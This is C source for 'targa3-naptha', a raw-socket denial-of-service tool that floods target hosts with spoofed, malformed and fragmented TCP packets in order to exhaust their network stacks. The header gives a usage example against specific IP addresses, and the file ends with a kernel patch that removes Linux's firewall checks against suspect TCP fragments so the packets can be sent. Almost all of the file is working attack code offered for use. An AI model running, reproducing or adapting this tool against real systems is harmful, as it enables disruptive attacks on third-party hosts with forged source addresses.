/*
 * targa3-naptha (modified) (c) Mixter <mixter@newyorkoffice.com>, 2XS Ltd.
 *
 *        TEST-CODE      *      TEST-CODE      *      TEST-CODE
 *
 * Modified version of the IP stack penetration tool targa3.c
 * Tries to implement the TCP-based "Naptha" attack (send short packets)
 * on a random packet construction basis. The best platform to test this
 * on is Linux. IMPORTANT: You should disable the outgoing-fragment protection
 * by modifying the Linux 2.2.x kernel as shown at the bottom of this file.
 *
 * Some of these packets might not pass through routers with
 * filtering enabled - tests with source and destination host
 * on the same ethernet segment gives best effects.
 * 
 * Example:
 * ./targa3 -p 80 193.116.54.15 192.88.209.18 134.205.131.22 -c 1000
 *
 * #include <legalbullshit/disclaimer.h>
 * THIS SOFTWARE IS MADE AVAILABLE "AS IS", AND THE AUTHOR DISCLAIMS ALL
 * WARRANTIES, EXPRESS OR IMPLIED, WITH REGARD TO THIS SOFTWARE, INCLUDING
 * WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
 * FOR A PARTICULAR PURPOSE, AND IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
 * ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER
 * RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
 * CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF
 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>

u_char rseed[4096];
int rsi, rnd, pid;

#if __BYTE_ORDER == __LITTLE_ENDIAN
#ifndef htons
unsigned short int htons (unsigned short int hostshort);
#endif
#define TONS(n) htons(n)
#elif __BYTE_ORDER == __BIG_ENDIAN
#define TONS(n) (n)
#endif

struct sa_in
  {
    unsigned short int sin_family, sin_port;
    struct
      {
	unsigned int s_addr;
      }
    sin_addr;
    unsigned char sin_zero[8];
  };

struct tcph
  {
    unsigned int src, dst;
    unsigned long int seq, ack;
#ifndef WORDS_BIGENDIAN
    unsigned char x2:4, off:4;
#else
    unsigned char off:4, x2:4;
#endif
    unsigned char flg;                     /* flag1 | flag2 */
    unsigned int win, sum, urp;
  };

struct iph
  {				/* IP header */
#if __BYTE_ORDER == __LITTLE_ENDIAN
#define TONS(n) htons(n)
    unsigned char ihl:4;
    unsigned char version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
#define TONS(n) (n)
    unsigned char version:4;
    unsigned char ihl:4;
#endif
    unsigned char tos;
    unsigned short int tot_len;
    unsigned short int id;
    unsigned short int frag_off;
    unsigned char ttl;
    unsigned char protocol;
    unsigned short int check;
    unsigned int saddr;
    unsigned int daddr;
  };

unsigned short
sum(unsigned short *buf, int nwords)
{
  unsigned long sum;

  for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  return ~sum;
}

void
tcpsum(char *ippacket, struct iph *ih, struct tcph *tch, int tot_len)
{
  char *pbuf = (char *)malloc(8192);
  struct pseudo
    {
      long src, dst;
      unsigned char mbz, pro, len;
    };
  struct pseudo *ph = (struct pseudo *) pbuf;
  memset(pbuf, 0, 8192);
  ph->src = ih->saddr;  ph->dst = ih->daddr;   ph->mbz = 0;
  ph->pro = 6;  ph->len = htons(tot_len - 20);
  tch->sum = 0; memcpy(pbuf + 12, ippacket + 20, tot_len - 20);
  tch->sum = sum((unsigned short *) pbuf, ((tot_len - 20) + 12) >> 1);
}

unsigned long int inet_addr (const char *cp);

unsigned int
realrand (int low, int high)
{
  int evil[2];
  evil[0] = rseed[rsi];
  evil[1] = rseed[rsi + 1];
  rsi += 2;
  if (evil[0] == 0x00)
    evil[0]++;
  if (evil[1] == 0x00)
    evil[1]++;
  srandom (time (0));
  srand (random () << pid % evil[0] >> evil[1]);	/* don't ask :P */
  return ((rand () % (int) (((high) + 1) - (low))) + (low));
}

void
sigh (int sig)
{
  puts (" ] [0m\n");
  exit (0);
}

int
main (int argc, char **argv)
{
  int s = socket (AF_INET, SOCK_RAW, 6);	/* IPPROTO_TCP */
  int res, psize, loopy, targets = 0, tind, count = -1;
  char *packet, ansi[16];
  struct sa_in sin;
  struct iph *ip;
  struct tcph *tc;
  int destport = 0;
  u_long target[200];

  int frags[10] =
  {				/* (un)common fragment values */
    0, 0, 0, 8192, 0x4, 0x6, 16383, 1, 0,
  };
  int flgs[10] =
  {
    0x02, 0x10, 0x02|0x10, 0x08|0x10, 0x04|0x20, 0x10|0x20, 0x10,
    0x02|0x08, 0, 0
  };
  rnd = open ("/dev/urandom", O_RDONLY);
  read (rnd, rseed, 4095);
  rsi = 0;

  snprintf (ansi, 15, "[%d;3%dm", realrand (0, 1), realrand (1, 7));
  printf ("\t\t%starga 3.0-naptha by Mixter[0m\n", ansi);
  fflush (stdout);

  if (argc < 2)
    {
      fprintf (stderr, "usage: %s <ip1> [ip2] ... [-c count]\n", argv[0]);
      exit (-1);
    }

  if (argc > 201)
    {
      fprintf (stderr, "cannot target more than 200 hosts!\n");
      exit (-1);
    }


  for (loopy = 1; loopy < argc; loopy++)
    {
      if (strcmp (argv[loopy - 1], "-c") == 0)
	{
	  if (atoi (argv[loopy]) > 1)
	    count = atoi (argv[loopy]);
	  continue;
	}
      if (strcmp (argv[loopy - 1], "-p") == 0)
	{
	  if (atoi (argv[loopy]) > 1)
	    destport = atoi (argv[loopy]);
	  continue;
	}
      if (inet_addr (argv[loopy]) != -1)
	{
	  target[targets] = inet_addr (argv[loopy]);
	  targets++;
	}
    }

  if (!targets)
    {
      fprintf (stderr, "no valid ips found!\n");
      exit (-1);
    }

  snprintf (ansi, 15, "[%d;3%dm", realrand (0, 1), realrand (1, 7));
  printf ("%s\tTargets:\t%d\n", ansi, targets);
  if (destport)
   printf("\tDest port: %d\t\n", destport);
  printf ("\tCount:\t\t");
  if (count == -1)
    puts ("infinite");
  else
    printf ("%d\n", count);

  printf ("   [ ");
  fflush(0);

  for (res = 0; res < 18; res++)
    signal (res, sigh);

  pid = getpid ();
  psize = sizeof (struct iph) + realrand (128, 512);
  packet = calloc (1, psize);
  ip = (struct iph *) packet;
  tc = (struct tcph *) (packet + sizeof(struct iph));

  setsockopt (s, 0, 3, "1", sizeof ("1"));	/* IP_HDRINCL: header included */
  sin.sin_family = PF_INET;
  sin.sin_port = TONS (0);
  while (count != 0)
    {
      if (count != -1)
	count--;
      for (loopy = 0; loopy < 0xff;)
	{
	  for (tind = 0; tind < targets + 1; tind++)
	    {
	      sin.sin_addr.s_addr = target[tind];
	      if (rsi > 4000)
		{
		  read (rnd, rseed, 4095);
		  rsi = 0;
		}
	      read (rnd, packet, psize);
	      frags[9] = realrand (0, 8100);
	      ip->version = 4;
	      ip->ihl = 5;
	      ip->tos = 0;
	      ip->tot_len = TONS (psize);
	      ip->id = TONS (realrand (1, 10000));
	      ip->ttl = 0x7f;
	      ip->protocol = 6;
	      ip->frag_off = TONS (frags[(int) realrand (0, 9)]);
	      ip->check = 0;
	      ip->saddr = random ();
	      ip->daddr = target[tind];
              if (destport)
              tc->dst = destport;
              if (realrand(0,1))
               tc->ack = 0;
              if (realrand(0,1))
               tc->off = 0;
              if (realrand(0,1))
               tc->urp = 0;
              tc->flg = flgs[(int) realrand (0, 9)];
              tc->sum = 0;
	      res = sendto (s,
			    packet,
			    psize - realrand (1, psize-1),
			    0,
			    (struct sockaddr *) &sin,
			    sizeof (struct sockaddr));
	      if (res > 0)
		loopy++;
	    }
	}
      snprintf (ansi, 15, "[%d;3%dm", realrand (0, 1), realrand (1, 7));
      printf ("%s.", ansi);
      usleep (200);
      fflush (stdout);
    }

  free (packet);		/* free willy */

  puts (" ][0m\n");

  return 0;
}

#ifdef BLAH

Here is how you un-protect the Linux kernel in preparation for this tool
Go to /usr/include/src/net/ipv4 and patch ip_fw.c with the
following patch. (Tested on kernel 2.2.17)

--- ip_fw.c	Mon Sep  4 20:39:29 2000
+++ ip_fw.c.new	Fri Dec  8 16:09:51 2000
@@ -629,13 +629,6 @@
 	 *	checks.
 	 */
 	 
-	if (offset == 1 && ip->protocol == IPPROTO_TCP)	{
-		if (!testing && net_ratelimit()) {
-			printk("Suspect TCP fragment.\n");
-			dump_packet(ip,rif,NULL,NULL,0,0,0,0);
-		}
-		return FW_BLOCK;
-	}
 
 	/* If we can't investigate ports, treat as fragment.  It's
 	 * either a trucated whole packet, or a truncated first
@@ -664,13 +657,6 @@
 		 * used to rewrite port information, and thus should
 		 * be blocked.
 		 */
-		if (offset && (ntohs(ip->frag_off) & IP_MF)) {
-			if (!testing && net_ratelimit()) {
-				printk("Suspect short first fragment.\n");
-				dump_packet(ip,rif,NULL,NULL,0,0,0,0);
-			}
-			return FW_BLOCK;
-		}
 	}
 
 	src = ip->saddr;
#endif
